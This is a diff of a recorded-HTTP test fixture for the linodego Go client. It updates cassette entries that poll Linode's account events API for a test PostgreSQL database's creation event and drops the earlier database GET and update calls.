X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9066,15 +11563,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -9088,16 +11585,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:02:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9113,7 +11613,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9130,15 +11630,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -9152,16 +11652,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:02:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9177,7 +11680,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9194,15 +11697,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -9216,16 +11719,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:02:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9241,7 +11747,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9258,15 +11764,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -9280,16 +11786,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:02:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9305,7 +11814,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9322,15 +11831,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "notification", "secondary_entity": + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -9344,16 +11853,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "464" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:03:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9369,7 +11881,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9386,15 +11898,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-04T04:34:22"},"entity.id":28228,"entity.type":"database","id":{"+gte":555065068}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555065068, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, - "duration": 2139, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def", "id": 28228, "type": "database", "url": - "/v4/databases/postgresql/instances/28228"}, "status": "finished", "secondary_entity": + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -9408,16 +11920,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "459" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:03:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9433,7 +11948,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9449,18 +11964,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 28228, "label": "go-postgres-testing-def", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", - "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": - 6, "day_of_week": 6, "week_of_month": null}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -9473,23 +11987,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "725" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:03:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -9498,7 +12015,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9514,18 +12031,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", - "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "weekly", "duration": 3, "hour_of_day": - 6, "day_of_week": 6, "week_of_month": null}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -9538,23 +12054,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "676" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:03:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_only + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -9563,14 +12082,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-postgres-testing-def-updated","allow_list":["128.173.205.21","123.177.200.20"],"updates":{"day_of_week":3,"duration":1,"frequency":"monthly","hour_of_day":8,"week_of_month":3}}' + body: "" form: {} headers: Accept: @@ -9579,18 +12098,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 - method: PUT + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -9603,21 +12121,26 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:04:03 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter + - Authorization, X-Filter X-Accepted-Oauth-Scopes: - - databases:read_write + - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: @@ -9626,7 +12149,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9643,17 +12166,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database"}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", - "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", - "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": - 1}' + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -9666,16 +12188,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "472" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:04:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9691,7 +12216,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9708,17 +12233,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database","id":{"+gte":555074468}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", - "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", - "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": - 1}' + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -9731,16 +12255,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "472" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:04:32 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9756,7 +12283,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9773,17 +12300,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database","id":{"+gte":555074468}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", - "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", - "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": - 1}' + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -9796,16 +12322,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "472" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:04:47 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9821,7 +12350,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9838,17 +12367,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database","id":{"+gte":555074468}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", - "url": "/v4/databases/postgresql/instances/28228"}, "status": "notification", - "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": - 1}' + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" @@ -9861,16 +12389,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "472" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:05:02 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9886,7 +12417,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9903,15 +12434,15 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_update","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":28228,"entity.type":"database","id":{"+gte":555074468}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555074468, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, - "duration": 73, "action": "database_update", "username": "zliang27", "entity": - {"label": "go-postgres-testing-def-updated", "id": 28228, "type": "database", - "url": "/v4/databases/postgresql/instances/28228"}, "status": "finished", "secondary_entity": + body: '{"data": [{"id": 755430480, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133403, "type": "database", "url": + "/v4/databases/postgresql/instances/133403"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: @@ -9925,16 +12456,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "465" + - "468" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:05:17 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -9950,7 +12484,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -9966,18 +12500,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T19:20:02"},"entity.id":133403,"entity.type":"database","id":{"+gte":755430480}}' + url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", - "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - 